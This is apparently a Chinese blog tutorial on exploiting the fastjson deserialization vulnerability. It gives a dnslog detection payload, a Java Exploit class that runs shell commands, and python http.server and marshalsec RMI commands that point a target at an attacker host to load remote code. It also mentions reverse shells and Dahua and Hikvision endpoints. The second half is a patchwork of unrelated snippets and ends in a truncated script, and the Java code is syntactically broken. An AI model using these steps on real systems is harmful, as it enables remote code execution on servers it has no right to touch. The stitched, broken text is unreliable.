每天了解一个漏洞——fastjson
标志:param参数内容被fastjson调用解析,个人理解为参数通过json的形式返回,类似于
{"a":"132","b":"456"}
这种形式进行传递数据
危害:通过构造特殊的java类,实现命令执行,反弹shell等
利用局限:需要fastjson版本<=1.2.68 而且本机使用javac编译时,用的java版本和目标所用的版本不能相差过大
利用:
首先需要判断目标主机是否采用fastjson,可以将json数据去掉大括号,例如
{"a":"132","b":"456"} ===> {"a":"132","b":"456"
在burpsuit的repeater模块发送修改之后的数据包,有可能会显露出fastjson并且显示使用fastjson的版本,当然了,仅限于有可能
还有一种方式就是dnslog打回显,如果目标出网,使用
{"zeo":{"@type":"java.net.Inet4Address","val":"of6tgg.dnslog.cn"}}
如果没有获得相应的回显,那么就不存在fastjson相关问题
以上的检测方法类似于poc,接下来的为exp(fastjson利用)
如果使用修改之后的数据包无法判断出fastjson的版本,那么只能够使用exp盲打进行利用,有一定的几率返回shell,
说来也惭愧,我没vps,反弹不了shell,以下演示只到dnslog反弹以及构造特殊类为止,以http://vulfocus.fofa.so
中的fastjson漏洞环境为例
这样就能够显示出目标主机使用的fastjson版本(增加{语法错误,导致运行报错,返回fastjson版本为1.2.45)
测试一下 利用dnslog回显
fofa靶场中一共有两个环境,其中一个可以通过修改 { 判断版本,另外一个则不行,记得要修改 content-type:application/json
然后就需要使用到自己的vps获取反弹后的shell
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /zydx666"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
p.waitFor();
is.close();
reader.close();
p.destroy();
public static void main(String[] args) throws Exception {
保存为exploit.java
编译exploit.java
javac exploit.java
会生成一个exploit.class
然后启一个http服务,中间件随意,但是需要能访问到Exploit.class文件,这里使用python3临时启动一个
在此目录开启server服务
python3 -m http.server --bind 0.0.0.0 8888
0x042 开启远程方法调用rmi服务
接下来开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:8888/#Exploit" 9999
marshalsec-0.0.3-SNAPSHOT-all.jar此文件可以在
https://github.com/firstC99/fastjson-1.2.47-RCE
下载
然后将poc中的dnslog地址换为ip/exploit 即可
首先测试的过程中,需要将请求方法改为POST并且记得要修改 content-type:application/json
在登录页面抓包的时候,可以测试一下
参考:https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/#%E5%9C%A8%E6%95%B4%E4%B8%AA%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B
https://blog.csdn.net/WWL0814/article/details/112274267
至于fastjson不出网的情况
参考:
https://www.mmbyte.com/article/61590.html
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
由于大华智能物联综合管理平台使用了存在漏洞的FastJson组件,未经身份验证的攻击者可利用/evo-runs/v1.0/auths/sysusers/random接口发送恶意的序列化数据执行任意指令,造成代码执行。
Host: 127.0.0.1:8999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
cmd: dir
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。Java 其实是有原生 Json 数据格式转换的,但由于 FastJson 速度更快,效率更高,所以被广泛使用。
目前正则学习Python,学习么,总是要写点什么来增强记忆的.当视频看到json相关的,看着教程里json的处理方式,就想着对象是怎么序列化和反序列化的.然后后来看到面向对象结合json的处理案例,当时感觉这json反序列化的方式好违和,还要手写反序列化的实现.然后去网上各种搜,没搜到一个简单的工具类,于是就想着仿照fastjson自己写写看目前只简单的实现了toJSONString、parseObject、parseList.
目前网上的资源整理不是针对入门玩家,都需要一定的java漏洞调试基础,本文从一个简单的FastJson 漏洞开始,搭建漏洞环境,分析漏洞成因,使用条件等。从入门者的角度看懂并复现漏洞触发...
综合安防管理平台基于 统一软件技术架构 理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、配置、管理和调度。海康威视综合安防管理平台存在Fastjson远程命令执行漏洞,该漏洞可执行系统命令,可获取到目标服务器系统权限以及敏感数据信息。
fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。
后端CMS:一般PHP开发居多源码程序(利用源码程序名去搜漏洞情况,源码去下载进行后期的代码审计)前端js 框架(爬取更多的js从里面筛选URL或敏感泄漏key等)也是可以通过对js代码逻辑进行代码审计组件java居多,第三方的功能模块(日志记录,数据监控,数据转换等)常见有过安全漏洞组件(shiro solr log4j sprintboot等)框架php java python都有简单代码的一个整合库,如果使用框架就只需要学习使用框架调用即可。
这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性,要满足private属性的数据。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource。• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource。
import sys
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import base64
import json